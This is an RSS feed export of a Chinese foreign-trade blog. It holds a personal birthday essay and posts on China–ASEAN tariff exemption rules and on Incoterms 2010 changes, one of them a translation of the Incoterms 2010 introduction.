<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>当密码代替钥匙的时候 &#187; 外贸课堂</title>
	<atom:link href="http://blog.bomoo.com/pin/archives/category/%e5%a4%96%e8%b4%b8%e8%af%be%e5%a0%82/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.bomoo.com/pin</link>
	<description>Pin&#039;s Blog</description>
	<lastBuildDate>Thu, 02 Feb 2012 19:51:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>写给三十而立的Pin</title>
		<link>http://blog.bomoo.com/pin/archives/1939</link>
		<comments>http://blog.bomoo.com/pin/archives/1939#comments</comments>
		<pubDate>Tue, 22 Nov 2011 15:18:50 +0000</pubDate>
		<dc:creator>Pin</dc:creator>
				<category><![CDATA[凡夫俗子]]></category>
		<category><![CDATA[外贸课堂]]></category>

		<guid isPermaLink="false">http://blog.bomoo.com/pin/?p=1939</guid>
		<description><![CDATA[图片来自Linns的生日礼物，谢谢！ 在我还没到二十三岁的时候，在公司的邮箱里收到DR L的一封邮件，他在信中写到近期正在关注的问题，其中包括“经济过热会否导致中国经济崩溃”、“全球... ]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" src="http://i484.photobucket.com/albums/rr207/pin1121/happybirthdayEvaandPin.jpg" alt="" width="368" height="285" /></p>
<p style="text-align: center;"><strong>图片来自Linns的生日礼物，谢谢！</strong></p>
<p>在我还没到二十三岁的时候，在公司的邮箱里收到DR L的一封邮件，他在信中写到近期正在关注的问题，其中包括“经济过热会否导致中国经济崩溃”、“全球能源‘高价’危机与反恐”、“现代文明与伊斯兰文明的战争”还有“香港政治体制改革的命运与台湾民主”……信末尾特别强调：“因为完全没有时间，所以并没有去探讨什么具体的问题，或许让你失望了。”</p>
<p>这封邮件无意间被我上司看到，他瞪大了牛般的眼睛盯着我上下打量了一番，潜台词是：</p>
<p>“是谁抬举你至如此地位？”</p>
<p>那一年，我的上司也不过二十七岁，未足而立之年，考虑的最大问题大概是如何升职或加薪。他至此也未曾想到，即便七年过去，信中所提及的问题依然历久弥新。而早在此信之前，我便已经在听DR L讨论伊拉克战争，911对美经济的影响以及股市庄家灭亡之时便是中国股市兴旺之日这样的话题，并且为之痴迷。</p>
<p>也就是随着这些问题的抛出，DR L慢慢熏陶了我，拓展了我的视野，拉大了我的格局。</p>
<p>陈文茜在一篇专访中说:”女人最怕格局小”，我想她的意思并非是要像她那样，作为一个媒体人，手中能同时拥有几个完全不同性质的节目，可以今天写凯恩斯，明天写张爱玲，一边主持《文茜小妹大》一边主持《世界周报》，出书的同时还念念不忘她的广播和每日一更的专栏……没有几个女人能在自己的领域和超出她的领域做到像她那样好，但拥有自己的大格局却是我一心向往的境界。</p>
<p>这几年由于做培训的缘故，常常奔走于武汉各高校举办演讲，一般是我暖场，DR L开讲。承办这类活动的通常都是院系的学生会，开场前往往都会收到如此警告——老师您演讲最好不要超过一个小时，否则学生离场我们可不负责善后尴尬，因为这是很多场演讲的下场。</p>
<p>可结果通常是一小时加到三小时，中途有学生跑出去上厕所，然后又急匆匆赶回来听，到演讲结束还有一圈一圈的学生围住我们，直至整栋教学楼要熄灯上锁才肯罢休。</p>
<p>每次我都很享受这样的“待遇”，因为那一刻我总能感同身受第一次听DR L讲话时给这些学生所带去的震撼。</p>
<p>我那时跟人形容，就像听到自己的青春滋滋燃烧的声音，整个人都沸腾了，充满了希望。</p>
<p>后来，除了在自己的培训课堂上教书外，我有了一个机会去一所大专教外贸制单的课程，除了那些制单技巧外，学生们似乎更感兴趣我给他们说时下最热门的外贸和时事新闻，我很疑惑地问过，你们平时不上网么？他们说上啊，我继续问那为什么都不看这些新闻呢？他们说没兴趣啊！我追问但你们现在不是很想听我讲吗？他们恍然大悟道也是哦！</p>
<p>DR L曾跟我打过这么一个比方：如果街上迎面而来的路人都长得一个面孔，你觉得怎样？很恐怖是不是？那如果每一个人的思想都一样呢？</p>
<p>而我相信很多曾经接受学校教育的学生们，都不曾质疑过“统一思想”有什么问题，因为他们中的大多数已经习惯去接受接受本身。</p>
<p>2008年雪灾的时候，我表哥因车祸去世了，亲人们震耳欲聋的哭声我还记忆犹新，而这种伤心欲绝在每一年去祭奠时都会重复一次，有时我会异乎寻常地冷静地想，遇上这样的事后，亲人们看待这个只跟我哥相差几个小时出生的我时，是否会多一分宽容？不再像原来那样总是疑惑地质问我为什么从LS离职，为什么去北京念那么不靠谱的书，为什么不去外企打份工而去开什么培训课堂，为什么这么多年奋斗下来也没见你买房也没见你买车？</p>
<p>但我可以跟他们说这些年我内心深处其实很快乐吗？他们会相信吗？或者，其实他们也不那么在意吧，只是不自觉地想要质问你，关心你？心疼你？</p>
<p>我甚至想，如果08年死的不是我表哥而是我，如果10年那次煤气中毒事件里，我就那么莫名其妙地死了，会怎样？我就不会有痛失DR L的痛苦，但也不会有获得孩子时的无限欢欣。</p>
<p>如今，失去了DR L三十而立的我，鼓足活下去的勇气，要依靠自己的力量，拓展我的格局，我的思想，我的人生，纵使那么那么孤单，也要勇往直前。</p>
<p style="text-align: right;"><strong>2011 年11月21日 </strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bomoo.com/pin/archives/1939/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>进口东盟产品留意免税条件</title>
		<link>http://blog.bomoo.com/pin/archives/1556</link>
		<comments>http://blog.bomoo.com/pin/archives/1556#comments</comments>
		<pubDate>Wed, 14 Sep 2011 14:37:06 +0000</pubDate>
		<dc:creator>Pin</dc:creator>
				<category><![CDATA[外贸课堂]]></category>
		<category><![CDATA[东盟，进口，未再加工证明]]></category>

		<guid isPermaLink="false">http://blog.bomoo.com/pin/?p=1556</guid>
		<description><![CDATA[在福步外贸论坛上看到一个关于进口的帖子，说是有一批从印尼进口到连云港的原材料，因为船在香港中转了，在连云港清关时被海关告知需要“未再加工证明”，否则无法享受东盟的关税优... ]]></description>
			<content:encoded><![CDATA[<p>在福步外贸论坛上看到一个关于进口的<a href="http://blog.bomoo.com/pin/go.php?http://bbs.fobshanghai.com/thread-3560662-1-1.html" title="(No click)">帖子</a>，说是有一批从印尼进口到连云港的原材料，因为船在香港中转了，在连云港清关时被海关告知需要“未再加工证明”，否则无法享受东盟的关税优惠。</p>
<p>发帖者非常着急，想知道如何补办这份“未再加工证明”，结果论坛中无人应答，最后他垂头丧气地告诉大家：“未再加工证明是无法补办的！只能交税了！”</p>
<p>留下一个教训是：虽然东盟自由贸易区内已经对大部分商品实行了零关税，但要享受此待遇，还必须要注意一些细节。</p>
<p>2010年1月1日，世界最大的自由贸易区——中国－东盟自由贸易区正式启动。这一自由贸易区将拥有19亿人口、接近6万亿美元/年国内生产总值和4.5万亿美元/年的贸易总额。</p>
<p>至此，中国与东盟双方约有7000种产品将享受<strong>零关税</strong>待遇，实现货物贸易自由化。</p>
<p>但所谓“零关税”实际上并不是完全意义上的零关税，按照《货物贸易协议》的规定，双方的降税产品分为正常产品和敏感产品两大类。正常产品又分一轨正常产品和二轨正常产品两类，正常产品最终将实现零关税，但实施时间要视东盟新老成员国而定。而敏感产品则不必降到零。</p>
<p>这里要说明一下何为正常产品，中国-东盟自贸区的货物贸易谈判采取的是“否定列表”（negative list）方式，凡是没有列入敏感产品清单的产品均视为正常产品。（我国提出的敏感产品主要包括大米、天然橡胶、棕榈油、部分化工品、数字电视、木材和纸制品等；东盟国家则提出了橡胶制品、塑料制品、陶瓷制品、部分纺织品和服装、钢材、部分家电、汽车、摩托车等）一轨正常产品和二轨正常产品两者的共同点是最终税率均为零，区别是二轨产品在取消关税的时间上享有一定的灵活性。</p>
<p>《货物贸易协议》详细规定了正常产品关税减让的模式，其中，对东盟新成员的特殊和差别待遇是协议所体现的一项重要原则。即，对中国和东盟老成员，正常产品自2005年7月起开始降税，2010年1月1日将关税最终削减为零；而对东盟新成员，从2005年7月起开始降税，至2015年将关税降为零。</p>
<p>那么，文中开头所提到的那位倒霉蛋为什么还是交了关税呢？他所提到的“未再加工证明”又是怎么回事呢？</p>
<p>原来，东盟的产品，除了确认其不属于敏感类外，还得要满足两个必要条件才可以在进入中国海关时顺利享受“零关税”。</p>
<p><strong>其一为原产地原则：</strong></p>
<p>原产地规则是确定产品“身份”的标尺。中国-东盟自贸区的原产地规则以“增值标准”为基础。《货物贸易协议》规定，如一产品的本地加工增值不低于该产品总价值的40%，则该产品可被认为是原产于中国-东盟自贸区的产品，在进出口贸易中享受自贸区的优惠税率。早期收获产品由于以农产品为主，基本上采用“完全获得”标准。少数特殊产品，如纺织品、羊毛制品等，采用了加工工序、税号改变等其他原产地判定方式。</p>
<p>有外贸制单经验的人都知道原产地证是分好多种的，ACFTA货物进口时必须向进口地海关提交东盟成员国指定政府机构签发的原产地证书（FORM E）。如原产地证书为非指定政府机构签发或非FORM E格式，所申报货物均不能享受东盟协定税率。</p>
<p><strong>其二是直接运输规则：</strong></p>
<p>根据ACFTA原产地规则，享受东盟协定税率进口的货物须符合直接运输规则。“直接运输”是指《中国－东盟全面经济合作框架协议》项下的进口货物从某一东盟国家直接运输至我国境内，或者从某一东盟国家经过其他自由贸易区成员国境内运输至我国，但途中没有经过任何非自由贸易区成员国境内。</p>
<p>此举实际上是原产地原则的延伸，因为转船而导致“再加工”则会改变其原产国，故需采取“直接运输”。当然，如若实在需要中途转船（且现在的海运鲜见完全不转运、转船的），则要求转船的港口所在地出具“未再加工证明”。</p>
<p>由此可知，发帖者最后被要求上缴本应减免的关税的原因是因为“船在香港转过”，而没有出具“未再加工证明”离岸。而根据海关总署2003年78号公告等文件要求，经香港换装运输工具的优惠贸易协定项下的进口货物向海关申报时，须提供中国检验（香港）有限公司签发的《未再加工证明》。货物离开香港后，按照规定是无法补办“未再加工证明”的。</p>
<p>所以，目前准备进口东盟产品的贸易商要注意了，不仅在进口时提醒供应商提供FORM E的原产地证，还要在订船订舱之际给货代下达“直航”的要求，如果一定要通过香港中转，也务必要派遣工作人员或者委托代理公司在货物抵港前向中检申请办理“未再加工证明”，以免造成不必要的损失。</p>
<p>以下附上<strong>中国—东盟自由贸易区《货物贸易协议》</strong></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/plist1.xls" target="_blank" title="(No click)"><strong><span style="color: #0000ff;">中国2轨产品清单</span></strong></a></p>
<p><strong><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/plist2.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">中国敏感产品清单</span></a></strong></p>
<p><strong>东盟国家对中国降税表： </strong></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207817717211.rar" target="_blank" title="(No click)"><span style="color: #0000ff;">菲律宾降税表</span></a></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207817745734.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">柬埔寨降税表</span></a></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207817809063.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">马来西亚降税表</span></a></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207817990340.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">泰国降税表</span></a></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207818123095.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">印尼降税表</span></a></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207818197175.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">越南降税表</span></a></p>
<p><strong>中国对东盟国家降税表：</strong></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207818259510.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">菲律宾（06年税则）</span></a></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207818303388.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">马来西亚（06年税则）</span></a></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207818345977.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">缅甸（06年税则）</span></a></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207818385213.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">泰国（06年税则）</span></a></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207818430399.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">文莱（06年税则）</span></a></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207818470680.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">新加坡（06年税则）</span></a></p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://gjs.mofcom.gov.cn/accessory/200804/1207818522403.xls" target="_blank" title="(No click)"><span style="color: #0000ff;">印尼（06年税则）</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bomoo.com/pin/archives/1556/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Incoterms 2010中文介绍</title>
		<link>http://blog.bomoo.com/pin/archives/1475</link>
		<comments>http://blog.bomoo.com/pin/archives/1475#comments</comments>
		<pubDate>Tue, 09 Nov 2010 14:19:41 +0000</pubDate>
		<dc:creator>Pin</dc:creator>
				<category><![CDATA[外贸课堂]]></category>
		<category><![CDATA[incoterms2010]]></category>
		<category><![CDATA[外贸]]></category>

		<guid isPermaLink="false">http://blog.bomoo.com/pin/?p=1475</guid>
		<description><![CDATA[以下这篇是目前网上为数不多的中文介绍INCOTERMS 2010的文章，也是一位网友翻译的，有意思的是，本来我准备去顺着这篇去找原文的，结果却发现很多英文网站转载了这篇，他们将其直接又翻译... ]]></description>
			<content:encoded><![CDATA[<p>以下这篇是目前网上为数不多的中文介绍INCOTERMS 2010的文章，也是一位网友翻译的，有意思的是，本来我准备去顺着这篇去找原文的，结果却发现很多英文网站转载了这篇，他们将其直接又翻译回去成英文了……囧。</p>
<p>在获得到译者同意的情况下，特贴在此供需要者参考：</p>
<p style="text-align: center;"><strong><a href="http://blog.bomoo.com/pin/go.php?http://juzipi.blogbus.com/logs/73398910.html" target="_blank" title="(No click)">Introduction-Incoterms2010</a></strong><strong><a href="http://blog.bomoo.com/pin/go.php?http://juzipi.blogbus.com/logs/73398910.html" target="_blank" title="(No click)">中文翻译</a></strong><strong> </strong></p>
<p style="text-align: center;">译者：<a href="http://blog.bomoo.com/pin/go.php?http://t.sina.com.cn/1590603742?s=6cm7D0" target="_blank" title="(No click)">mmlong</a></p>
<p style="text-align: left;">
<p><strong>引言</strong></p>
<p>国际贸易术语是一种将商业惯例反映在货物销售合同中的价格术语，其描述了涉及货物从卖方到买方交付过程中的买卖双方各自承担的主要责任、费用和风险。</p>
<p><strong>如何应用国际贸易术语2010通则</strong></p>
<p>2010 Incoterms 2010 in the income lessen over in the application, users should <a >be</a> explicit:</p>
<p>总结Incoterms 2010在销售合同中的应用，使用者应明确：</p>
<p>1              对其合同的而言，此通则并不是自动适用的，具有任意性。</p>
<p>对于合同各方当事人意欲任何一种2010通则中的国际贸易术语适用其合同的情形，其应当在合同中清楚具体地订明，通过诸如“所用术语，选择于2010通则”等语句。</p>
<p>2              此通则并不包含一整套的合同条款。</p>
<p>因此，比如，尽管通则中规定当何方当事人承担运费或作保险安排，什么时候卖方将货物交给买方以及各方当事人应承担何种费用，但是通则中并未涉及到有关货物价格和所有权，或者违反合同约定的后果等内容。这些问题通常是通过合同中相关明示条款或者专门管辖合同的法律来解决。同样地，当事人应当清楚当地强制性的法律较包括所选贸易术语在内的合同中的任何规定都具有优先权。</p>
<p>3              选择适当特定的术语。</p>
<p>所选术语需要适合于标的货物，运输方式，而且最重要的是要适合于各方当事人是否有意将更多的责任赋予到卖方或买方，比如安排运输或保险的责任。每种术语的指南中包含一些特别有用的关于何时作出这些选择的信息。然而，包含在指南中的信息并不构成所选术语的一部分。</p>
<p>4              只有各方当事人指定地点或港口，所选术语才形成有效的，而且指定的地点或港口越精确越奏效。</p>
<p>如以下的精确描述就是一个很好的例子：</p>
<p>“FCA (38 Cours Albert 1er, Paris, France) Incoterms 2010”.（2010通则FCA术语，法国巴黎，38 Cours Albert 1er）</p>
<p>指定地点是交货点，即风险转移给买方的点；但是在C组术语中，指定地点指的是运费已付的地点。为了更好避免疑问和争议，指定地点或目的地可以进一步阐述为一个精确的点。</p>
<p><strong>2000</strong><strong>通则和</strong><strong>2010</strong><strong>通则的主要区别</strong><strong> </strong></p>
<p>1              一种新的术语——DPA</p>
<p>通则已经将13种不同的术语减为11种。这是由一种新的术语，DAP，地点交货，取代DAF，DES和DDU而实现的。所谓DAP术语，就像被取代的那些术语，是“实质性交货”术语，在将货物运至目的地过程中涉及的到所有费用和风险由卖方承担。此术语适用于任何运输方式，因此也适用于各种DAF，DES以及DDU以前被使用过的情形。</p>
<p>2              11种贸易术语的分类</p>
<p>2000通则中的13种术语按术语缩写首字母分成四组，即，E组（EXW），F组，C组以及F组。这种分类反映了卖方对于买方的责任程度。FCA，或者适用国内贸易的EXW，利用交货的完成以及在尽可能早的时间把风险转移给买方从而赋予卖方最少的责任。相反地，D组术语，或者说“实质性交货”术语，利用交货的完成以及在尽可能晚的时间把风险转移给买方从而赋予卖方最多的责任。这种分类仍然很重要，尤其是在当事人对2010通则中的中11种贸易术语作出选择时。</p>
<p>然而，2010通则将这11种术语分成了截然不同的两类。</p>
<p>第一类包括那些适用于任何运输方式，包括多式运输的六种术语。EXW，FCA，CPT，CIP，DAP和DDP术语这类。这些术语可以用于没有海上运输的情形。但要谨记，这些术语能够用于船只作为运输的一部分的情形，只要卖方交货点，或者货物运至买方的地点，或者两者兼备，在船舷前面。</p>
<p>第二类，实际上包含了比较传统的只适用于海运或内河运输的5种术语。这类术语条件下，卖方交货点和货物运至买方的地点均是港口，所以“唯海运不可”就是这类术语标签。FAS，FOB，CFR，CIF和DEQ属于本类术语。</p>
<p>3              国内和国际贸易术语</p>
<p>贸易术语在传统上被运用于表明货物跨越国界传递的国际销售合同。然而，世界上一些地区的大型贸易集团，像东盟和欧洲单一市场的存在，使得原本实际存在的边界通关手续变得不再那么有意义。因此，2010通则的编撰委员会认识到这些术语对国内和国际销售合同都是适用的；所以，2010通则在一些地方作出明确说明，只有在适用的地方，才有义务遵守出口/进口所需的手续。</p>
<p>两方面的发展使国际商会确信在这个方向上作一个改动是适时的。首先，一个强有力的证据就是事实上很多交易者将通则普遍运用于纯粹的内贸合同。另一个原因就是在美国人们更愿意选择通则而不是统一商法典装运和交货条款运用于国内贸易。</p>
<p>4              使用指南</p>
<p>每一种2010通则中的术语在其条款前面都有一个使用指南。指南解释了每种术语的基本原理：何种情况应使用次术语；风险转移点是什么；费用在买卖是如何分配的。这些指南并不是术语正式规则的一部分：它们是用来帮助和引导使用者准确有效地为特定交易选择合适的术语。</p>
<p>5              电子通讯</p>
<p>通则的早期版本已经对需要的单据作出了规定，这些单据可被电子数据交换信息替代。不过现在2010通则赋予电子通讯方式完全等同的功效，只要各方当事人达成一致或者在使用地是惯例。在2010的生命期里，这一规定有利于新的电子程序的演变发展。</p>
<p>6              保险</p>
<p>2010通则是自全协会货物保险条款修改以来的第一个版本，这个最新版本在所修改内容中充分考虑了这些保险同款的变动。2010通则在涉及运输和保险合同的A3/A4条款中罗列了有关保险责任的内容，原本它们属于内容比较泛化而且有着比较泛化标题“其他义务”的A10/B10款。在这方面，为了阐明当事人的义务，对A3/A4款中涉及保险的内容作出修改。</p>
<p>7              有关安全的核准书及这种核准书要求的信息</p>
<p>如今对货物在转移过程中的安全关注度很高，因而要求检定货物不会因除其自身属性外的原因而造成对生命财产的威胁。因此，在各种术语的A2/B2和A10/B10条款内容中包含了取得或提供帮助取得安全核准的义务，比如货物保管链。</p>
<p>8               码头装卸费</p>
<p>按照“C”组术语，卖方必须负责将货物运输至约定目的地：表面上是卖方自负运输费用，但实际上是由买方负担，因为卖方早已把这部分费用包含在最初的货物价格中。运输成本有时包括货物在港口内的装卸和移动费用，或者集装箱码头设施费用，而且承运人或者码头的运营方也可能向接受货物的买方收取这些费用。譬如，在这些情况下，买方就要注意避免为一次服务付两次费，一次包含在货物价格中付给卖方，一次单独付给承运人或码头的运营方。2010通则在相关术语的A6/B6条款中对这种费用的分配作出了详细规定，旨在避免上述情况的发生。</p>
<p>9              连串销售</p>
<p>在商品的销售中，有一种和直接销售相对的销售方式，货物在沿着销售链运转的过程中频繁地被销售好几次。在这种情况下，在一连串销售中间的销售商并不将货物“装船”，因为它们已经由处于这一销售串中的起点销售商装船。因此，连串销售的中间销售商对其买方应承担的义务不是将货物装船，而是“设法获取”已装船货物。着眼于贸易术语在这种销售中的应用，2010通则的相关术语中同时规定了“设法获取已装船货物”和将货物装船的义务。</p>
<p>术语的使用解释</p>
<p>2000通则中，按照镜像原则，A条款下反映的是卖方的义务，相应地，B条款下反映的是买方的义务。但是由于一些短语的使用贯穿整个文件，2010通则打算在其正文中对以下被列出来的词语不再作解释，以以下注解为准。</p>
<p>承运人：就2010通则而言，承运人是指签署运输合同的一方。</p>
<p>出口清关：遵照各种规定办理出口手续，并支付各种税费。</p>
<p>交货：这个概念在贸易法律和惯例中有着多重含义，但是2010通则中用其来表示货物缺损的风险从卖方转移到买方的点。</p>
<p>电子数据：由一种或两种以上的和相应纸质文件功效等同的电子讯息组成的的一系列信息。</p>
<p>‘包装’和‘存放’：这些短语被用于不同的目的：</p>
<p>1.       遵照合同中所有的要求的货物包装。</p>
<p>2.       使货物适合运输的包装。</p>
<p>3.       已包装好的商品转载进货柜或其他运输工具。。</p>
<p>在2010通则中，包装的含义包括以上第一种和第二种。2010通则没有涉及到货物在货柜中的装载义务由谁承担，所以，相关当事人应在合同中对此作出明确规定。</p>
<p>贸易术语的变形</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bomoo.com/pin/archives/1475/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Incoterms2010的新变化</title>
		<link>http://blog.bomoo.com/pin/archives/1465</link>
		<comments>http://blog.bomoo.com/pin/archives/1465#comments</comments>
		<pubDate>Sun, 07 Nov 2010 06:41:19 +0000</pubDate>
		<dc:creator>Pin</dc:creator>
				<category><![CDATA[外贸课堂]]></category>
		<category><![CDATA[incoterms2010]]></category>

		<guid isPermaLink="false">http://blog.bomoo.com/pin/?p=1465</guid>
		<description><![CDATA[关于INCOTERMS修正版本后面所跟数字的使用问题，还曾有一段小波折： 2010年第一版最早是用INCOTERMS 3000,理由是避免大家期待每隔十年就有一次修正,各国国际商会几乎都是站在反对立场,认为修订... ]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">关于INCOTERMS修正版本后面所跟数字的使用问题，还曾有一段小波折：</p>
<p style="text-align: left;">2010年第一版最早是用INCOTERMS 3000,理由是避免大家期待每隔十年就有一次修正,各国国际商会几乎都是站在反对立场,认为修订小组显然是多虑了，而且也毫无意义，何况违背ICC出版品的数字使用体制,要么就使用诸如UCP的400/500/600,或是出版品实际公布或是生效的年份作为它的号码。就如INCOTERMS先前的版本一样INCOTERMS1980/1990/2000,当然如ISBP是用645（2003年）681（2007年）。</p>
<p style="text-align: left;">到了第二版就改过来了,使用2011（2011）,第三版以后还是用了2010。</p>
<p style="text-align: left;">其修正过程如下：</p>
<p style="text-align: center;">INCOTERMS 2010修正过程</p>
<hr size="0" />1、2009年2月，第1稿——Incoterms<strong>3000</strong> （当时预定的版本号为3000）；</p>
<p>2、2009年9月，第2稿——Incoterms<strong>2011 </strong>(版本号改为2011)</p>
<p>3、2010年1月，第3稿——Incoterms<strong>2010</strong>（版本号再次调整为2010）；</p>
<p>4、2010年5月，第4稿（final version）；</p>
<p>5、2010年9月颁布；</p>
<p>6、2011年1月1日实施。</p>
<p>INCOTERMS 2010的草案有三版,第一与二稿可在互联网上下载,但第三稿因ICC下达各国参与修正的相关委员要保密,因此第三稿与最终版本(final version)在9/16-17经ICC通过前无法公布。（以上内容整理自<a href="http://blog.bomoo.com/pin/go.php?http://export.jsiec.cn/C.aspx?page=2873158.html" target="_blank" title="(No click)">江苏外贸社区</a>所转载的说明。）</p>
<p>虽然目前都已经是11月份了，但网上仍不见可供下载的版本，倒是<a href="http://blog.bomoo.com/pin/go.php?http://www.iccbooks.com/Product/ProductInfo.aspx?id=653" target="_blank" title="(No click)">征订正式版</a>已经开始了。</p>
<p><a href="http://blog.bomoo.com/pin/go.php?http://www.iccbooks.com/Product/ProductInfo.aspx?id=653" target="_blank" title="(No click)"><img class="alignnone" src="http://i484.photobucket.com/albums/rr207/pin1121/BLOG/03.jpg" alt="" width="454" height="345" /></a></p>
<p>接上一篇概述Incoterms2010的文章，这里翻译的是一篇来自TRADE WATCH杂志九月刊第6页的一篇”INCOTERM CHANGES COME”，其中提到了<strong>相较于Incoterms2000，2010年版的一些具体的变化</strong>。</p>
<p>为方便查看，我将术语变化做了一份表格，大家可以对照下面的文字解说一起看看。</p>
<p><img class="alignnone" src="http://i484.photobucket.com/albums/rr207/pin1121/BLOG/01.jpg" alt="" width="464" height="397" /><img class="alignnone" src="http://i484.photobucket.com/albums/rr207/pin1121/BLOG/02.jpg" alt="" width="464" height="248" /></p>
<p><strong>INCOTERM CHANGES COME!</strong></p>
<p>From: <a href="http://blog.bomoo.com/pin/go.php?http://www.rayfile.com/files/d5a5f68a-ea32-11df-8d54-0015c55db73d/" target="_blank" title="(No click)">TradeWatch Vol Sep,2010.</a></p>
<p>The International Chamber of Commerce has completed work on Incoterms 2010, with a scheduled implementation date of 1 January 2011. Incoterms, the generally accepted international commercial terms for the delivery of goods,define the responsibilities of buyers and sellers for the delivery of goods under sales contracts.</p>
<p>国际商会已经完成了Incoterms 2010（2010国际贸易术语解释通则）的修订工作，<span style="color: #0000ff;"><strong>预计将在2011年1月1日发布</strong></span>。Incoterms，这一被普遍接受的关于交付货物的国际贸易术语，规定了货物销售合同下交付的买家和卖家的责任。</p>
<p>Three changes will be readily apparent to businesses familiar with Incoterms.First, the rules will be divided into two distinct groups: rules applicable to any mode of transportation, and the rules specially applicable to waterway transport.</p>
<p>对国际贸易术语熟悉的企业来说，以下<strong>三个变化</strong>是显而易见的。<strong><span style="color: #0000ff;">第一，术语将被清楚地分为两组：</span></strong><strong><span style="color: #0000ff;">一组适用于各种运输方式</span></strong><strong><span style="color: #0000ff;">；</span></strong><strong><span style="color: #0000ff;">另一组适用于水路运输</span></strong><strong><span style="color: #0000ff;">。</span></strong></p>
<p><strong>The rules for any mode of transport Incoterms will be:</strong></p>
<p><strong>适用于各种运输方式的术语为：</strong></p>
<p>EXW-EX WORKS</p>
<p>EXW-工厂交货</p>
<p>FCA-FREE CARRIER</p>
<p>FCA-货交承运人</p>
<p>CPT-CARRIAGE PAID TO</p>
<p>CPT-运费付至</p>
<p>CIP-CARRIER AND INSURANCE PAID</p>
<p>CIP-运费、保险费付至</p>
<p>DAT-DELIVERY AT TERMINAL</p>
<p>DAT-终端交货</p>
<p>DAP-DELIVERED AT PLACE</p>
<p>DAP-指定地点交货</p>
<p>DDP-DELIVERED DUTY PAID</p>
<p>DDP-完税后交货</p>
<p><strong>THE RULES FOR WATERWAY TRANSPORT WILL BE:</strong></p>
<p><strong>适用于水路运输的术语为：</strong></p>
<p>FAS-FREE ALONGSIDE SHIP</p>
<p>FAS-船边交货</p>
<p>FOB-FREE ON BOARD</p>
<p>FOB-装运港船上交货</p>
<p>CFR-COST AND FREIGHT</p>
<p>CFR-成本和运费</p>
<p>CIF-COST,INSURANCE AND FREIGHT</p>
<p>CIF-成本，保险和运费</p>
<p>Second, the number of Incoterms has been reduced from 13 to 11. This is accomplished by eliminating a serious of “D” terms: DAF(delivered at frontier), DES(delivered ex-ship),DEQ(delivered ex-quay) and DDU(delivered duty unpaid) and replacing them with two new “D” terms: DAT(delivered at terminal),and DAP(delivered at place).</p>
<p><span style="color: #0000ff;"><strong>第二，术语由13种减少为11种。</strong></span>删掉了一系列D组术语，其中包括：DAF(边境交货)，DES(目的港船上交货)，DEQ（目的港码头交货）和DDU(未完税交货)，然后替换成两个新的D组术语：DAT(终端交货)和DAP(指定地点交货)。</p>
<p>Additionally, Incoterms 2010 will also address responsibilities for information related to security-related clearance for shipments, such as importer security filings.</p>
<p><strong><span style="color: #0000ff;">第三，Incoterms2010还涉及了运输安全清关信息，如美国进口安全申报（ISF）。</span></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bomoo.com/pin/archives/1465/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Incoterms 2010即将发布</title>
		<link>http://blog.bomoo.com/pin/archives/1458</link>
		<comments>http://blog.bomoo.com/pin/archives/1458#comments</comments>
		<pubDate>Sun, 07 Nov 2010 05:37:41 +0000</pubDate>
		<dc:creator>Pin</dc:creator>
